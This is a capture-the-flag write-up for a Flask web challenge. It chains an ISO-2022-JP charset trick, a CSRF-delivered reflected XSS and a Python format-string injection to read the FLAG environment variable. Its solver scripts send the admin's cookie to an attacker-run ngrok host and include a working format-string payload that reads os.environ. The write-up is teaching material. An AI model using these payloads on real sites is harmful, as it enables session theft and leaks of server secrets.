Statement #
Just printing your name, what could go wrong?
Author: Fayred
Overview #
.
├── app.py
├── bot.py
├── docker-compose.yml
├── Dockerfile
├── requirements.txt
├── static
│ └── images
│ └── cat.jpg
└── templates
├── admin.html
├── index.html
└── your-name.html
4 directories, 9 files
As we can see, very few files are present for this challenge. It contains very little: a page with a field meant to hold a first name reflected in a modal and a restricted /admin
route.
From the source code, to solve the challenge, we need to leak the $FLAG environment variable.
docker-compose.yml:
services:
saymyname:
build: .
image: saymyname:latest
ports:
- "5000:5000"
environment:
- FLAG=PWNME{FAKE_FLAG}
Solution #
To solve the challenge, we need to exploit an issue related to the lack of charset specification in the server’s response on one of the routes. This allows injecting JavaScript code into the page to leak the admin’s cookie. Finally, on the /admin
route, via a vulnerable format string, it is possible to leak environment variables, including the flag.
Code Analysis #
Before finding how to solve the challenge, we first need to understand the source code.
app.py:
from flask import Flask, render_template, request, Response, redirect, url_for
from bot import visit_report
from secrets import token_hex
X_Admin_Token = token_hex(16)
def run_cmd(): # I will do that later
pass
def sanitize_input(input_string):
input_string = input_string.replace('<', '')
input_string = input_string.replace('>', '')
input_string = input_string.replace('\'', '')
input_string = input_string.replace('&', '')
input_string = input_string.replace('"', '\\"')
input_string = input_string.replace(':', '')
return input_string
app = Flask(__name__)
@app.route('/admin', methods=['GET'])
def admin():
if request.cookies.get('X-Admin-Token') != X_Admin_Token:
return 'Access denied', 403
prompt = request.args.get('prompt')
return render_template('admin.html', cmd=f"{prompt if prompt else 'prompt$/>'}{run_cmd()}".format(run_cmd))
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/your-name', methods=['POST'])
def your_name():
if request.method == 'POST':
name = request.form.get('name')
return Response(render_template('your-name.html', name=sanitize_input(name)), content_type='text/html')
@app.route('/report', methods=['GET'])
def report():
url = request.args.get('url')
if url and (url.startswith('http://') or url.startswith('https://')):
print(f'Visit: {url} | X-Admin-Token: {X_Admin_Token}')
visit_report(url, X_Admin_Token)
return redirect(url_for('index'))
app.run(debug=False, host='0.0.0.0')
We see in the script that there are 4 routes:
- /
- /admin
- /report
- /your-name
All of them are accessible except /admin
. A /report
route is present, allowing the admin to be notified of a URL, which is typical of challenges with client-side vulnerabilities. Then we see that the /your-name
route takes a parameter: name (via POST) which is then “sanitized” by a custom function and returned in the page. However, this is the only route that returns a Response
object. Especially since the Content-Type is specified as text/html
without a charset.
Now let’s look at the your-name.html file:
<style>
.image-container {
position: relative;
width: 100%;
max-width: 600px;
text-align: center;
}
.image-container img {
width: 100%;
height: auto;
text-align: center;
}
.image-container .text {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
color: white;
font-size: 24px;
font-weight: bold;
text-shadow: 2px 2px 5px rgba(0, 0, 0, 0.7);
}
</style>
<div class="image-container">
<img src="{{ url_for('static', filename='images/cat.jpg') }}" alt="cat">
<a class="text" id="behindthename-redirect" href='https://www.behindthename.com/names/search.php?terms={{name}}' onfocus='document.location="https://www.behindthename.com/names/search.php?terms={{name|safe}}"'>Hello {{name}} !</a>
</div>
We see that the value of name is reflected in the page twice. Once in the href
attribute and once in onfocus
. However, they are not reflected in the same way. One is marked as “safe” while the other is not; the one used in onfocus
is the key to solving our challenge. However, even if the safe filter is used, it is normally not possible to escape the double quotes to inject JavaScript code, as the sanitize_input()
function escapes double quotes. Unless the charset is not specified in the response…
Canceling Backslash Escaping #
To escape the double quotes, the browser must detect the encoding used as ISO-2022-JP. This encoding is necessary because it can switch between 4 character sets: ASCII, JIS X 0201 1976, JIS X 0208 1978, and JIS X 0208 1983.
This feature of the ISO-2022-JP standard offers great flexibility but can also be used to cancel the escaping performed by the backslash on quotes. A single occurrence of one of these escape sequences is usually enough to convince the auto-detection algorithm that the body of the HTTP response is encoded with the ISO-2022-JP standard.
If a user uses the bytes: 0x1b
, 0x28
, and 0x4a
, it will switch character sets to JIS X 0201-1976. The JIS X 0201 1976 standard is mostly ASCII-compatible. However, two bytes differ between the ASCII table and the JIS X 0201 code table:
The byte 0x5c
corresponds to the character ¥
here, whereas in ASCII it corresponds to \
, and the byte 0x7e
corresponds to the character ‾
here, whereas in ASCII it corresponds to ~
. It is therefore possible to avoid escaping via \
thanks to the escape sequence of JIS X 0201 1976. Indeed, if I send ESC ( J
or %1b%28%4a
followed by "
, then \
will be translated to ¥
, which will cancel the escaping of the backslash.
By intercepting the POST request to /your-name
, modifying the name
parameter to %1b%28%4a"payload
, and displaying the response in Firefox (the one used by bot.py), we get the expected result.
Response:
<style>
.image-container {
position: relative;
width: 100%;
max-width: 600px;
text-align: center;
}
.image-container img {
width: 100%;
height: auto;
text-align: center;
}
.image-container .text {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
color: white;
font-size: 24px;
font-weight: bold;
text-shadow: 2px 2px 5px rgba(0, 0, 0, 0.7);
}
</style>
<div class="image-container">
<img src="/static/images/cat.jpg" alt="cat">
<a class="text" id="behindthename-redirect" href='https://www.behindthename.com/names/search.php?terms=¥"payload' onfocus='document.location="https://www.behindthename.com/names/search.php?terms=¥"payload"'>Hello ¥"payload !</a>
</div>
We see here that we have successfully escaped the double quotes in the onfocus
attribute.
Bonus (unintended): It was also possible to cancel the escaping on double quotes simply with
\"
.
Cross-site request forgery #
We now know that it is possible to inject JavaScript code into the page. However, the name
parameter reflected in the page must be sent via POST. Since there is no protection against CSRF and name
is sent via application/x-www-form-urlencoded
, it is possible to CSRF to trigger our RXSS via POST.
To generate our payload, we can use burpsuite, which generates it for us, not forgetting to add #behindthename-redirect
at the end of the action
attribute:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost:5000/your-name#behindthename-redirect" method="POST">
<input type="hidden" name="name" value="(J";alert(0);" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
If we test the CSRF in our browser, we indeed trigger our RXSS with our alert(0)
:
However, the redirection poses a problem. Indeed, if we want to do more than a simple “alert”, we need to obtain a slower redirection or cancel it.
Leak the admin cookie via Cross-Site Scripting #
Now that we know how to trigger our RXSS, we need to leak the admin’s cookie. For this, we need to use String.fromCharCode
to bypass characters blocked by sanitizer_bypass
. We also need to modify the redirection; for this, we can use the small trick [0]='#'
, which will replace the redirection URL with #
, preventing the page from reloading and thus executing our RXSS.
Then, we simply need to retrieve the cookie and send it to our server. By scripting all the steps so far, we get this kind of script:
# pip install requests flask ngrok
# export NGROK_AUTHTOKEN=xxx
# curl http://localhost:1337/exploit
from flask import Flask, request
import ngrok
import base64
import requests
import time
listener = ngrok.forward(1337, authtoken_from_env=True)
NGROK_HOST = listener.url()
CHALLENGE_HOST = 'http://localhost:5000/'
def sanitizer_bypass():
url = NGROK_HOST + '/recv-cookie?r='
# change redirect to /wait to trigger XSS
payload = f"\x1b\x28\x4a\"[0]=String.fromCharCode({ord('#')});fetch(String.fromCharCode({','.join(str(ord(c)) for c in url)})+btoa(document.cookie));//"
return payload
def html_entities(value):
payload = "".join(f"&#{ord(c)};" if not c.isalnum() else c for c in value)
return payload
def craft_csrf(payload):
return f"""
<html>
<body>
<form action="http://127.0.0.1:5000/your-name#behindthename-redirect" method="POST">
<input type="hidden" name="name" value="{payload}" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
"""
payload1 = sanitizer_bypass()
payload2 = html_entities(payload1)
csrf_payload = craft_csrf(payload2)
app = Flask(__name__)
@app.route('/exploit')
def exploit():
requests.get(f'{CHALLENGE_HOST}/report?url={NGROK_HOST}/csrf')
return 'exploit'
@app.route('/csrf')
def csrf():
return csrf_payload
@app.route('/recv-cookie')
def recv_cookie():
cookie = base64.b64decode(request.args.get('r')).decode()
print(f'[+] Cookie: {cookie}')
return ''
app.run(host='0.0.0.0', port=1337)
Simply run the program and visit the /exploit
route to launch the attack. On our Flask, we indeed receive the admin’s cookie:
$ python solver2.py
* Serving Flask app 'solver2'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:1337
* Running on http://192.168.1.38:1337
Press CTRL+C to quit
127.0.0.1 - - [28/Feb/2025 19:41:43] "GET /csrf HTTP/1.1" 200 -
[+] Cookie: X-Admin-Token=ca92c81597f1956c580ecae73324591a
127.0.0.1 - - [28/Feb/2025 19:41:43] "GET /recv-cookie?r=WC1BZG1pbi1Ub2tlbj1jYTkyYzgxNTk3ZjE5NTZjNTgwZWNhZTczMzI0NTkxYQ== HTTP/1.1" 200 -
127.0.0.1 - - [28/Feb/2025 19:41:44] "GET /exploit HTTP/1.1" 200 -
We indeed have access to the /admin
page with the leaked cookie:
$ curl http://localhost:5000/admin -H "Cookie: X-Admin-Token=ca92c81597f1956c580ecae73324591a" -i
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.9.4
Date: Fri, 28 Feb 2025 18:47:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 218
Connection: close
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin</title>
</head>
<body>
prompt$/>None
</body>
Python format string vulnerabilities #
To leak the flag, we need to exploit a bug concerning format strings in Python. Indeed, it is possible to inject expressions when an fstring is used with the format method on the same string.
This is what happens on the /admin
route:
@app.route('/admin', methods=['GET'])
def admin():
if request.cookies.get('X-Admin-Token') != X_Admin_Token:
return 'Access denied', 403
prompt = request.args.get('prompt')
return render_template('admin.html', cmd=f"{prompt if prompt else 'prompt$/>'}{run_cmd()}".format(run_cmd))
We see here a function passed as a parameter, which we will rely on to access os.environ and leak the FLAG environment variable. For this, we will go through FLASK since it imports os.
This gives us the payload:
{.__globals__[Flask].get.__globals__[os].environ[FLAG]}
Exploitation #
Final exploit:
# pip install requests flask ngrok
# export NGROK_AUTHTOKEN=xxx
# curl http://localhost:1337/exploit
# CSRF to RXSS to Format String Vuln
# RXSS (sanitizer bypass) -> https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters/
from flask import Flask, request
import ngrok
import base64
import requests
import time
listener = ngrok.forward(1337, authtoken_from_env=True)
NGROK_HOST = listener.url()
CHALLENGE_HOST = 'http://localhost:5000/'
def sanitizer_bypass():
url = NGROK_HOST + '/recv-cookie?r='
# change redirect to /wait to trigger XSS
payload = f"\x1b\x28\x4a\"[0]=String.fromCharCode({ord('#')});fetch(String.fromCharCode({','.join(str(ord(c)) for c in url)})+btoa(document.cookie));//"
return payload
def html_entities(value):
payload = "".join(f"&#{ord(c)};" if not c.isalnum() else c for c in value)
return payload
def craft_csrf(payload):
return f"""
<html>
<body>
<form action="http://127.0.0.1:5000/your-name#behindthename-redirect" method="POST">
<input type="hidden" name="name" value="{payload}" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
"""
payload1 = sanitizer_bypass()
payload2 = html_entities(payload1)
csrf_payload = craft_csrf(payload2)
app = Flask(__name__)
@app.route('/exploit')
def exploit():
requests.get(f'{CHALLENGE_HOST}/report?url={NGROK_HOST}/csrf')
return 'exploit'
@app.route('/csrf')
def csrf():
return csrf_payload
@app.route('/recv-cookie')
def recv_cookie():
cookie = base64.b64decode(request.args.get('r')).decode()
print(f'[+] Cookie: {cookie}')
format_string_payload = '{.__globals__[Flask].get.__globals__[os].environ[FLAG]}'
r = requests.get(f'{CHALLENGE_HOST}/admin?prompt={format_string_payload}', headers={'Cookie': cookie})
print(f'[+] Flag: {r.text}')
return 'Thanks for the flag ;-)'
app.run(host='0.0.0.0', port=1337)
Flag: PWNME{b492b312612c741b3b6597f925f88198}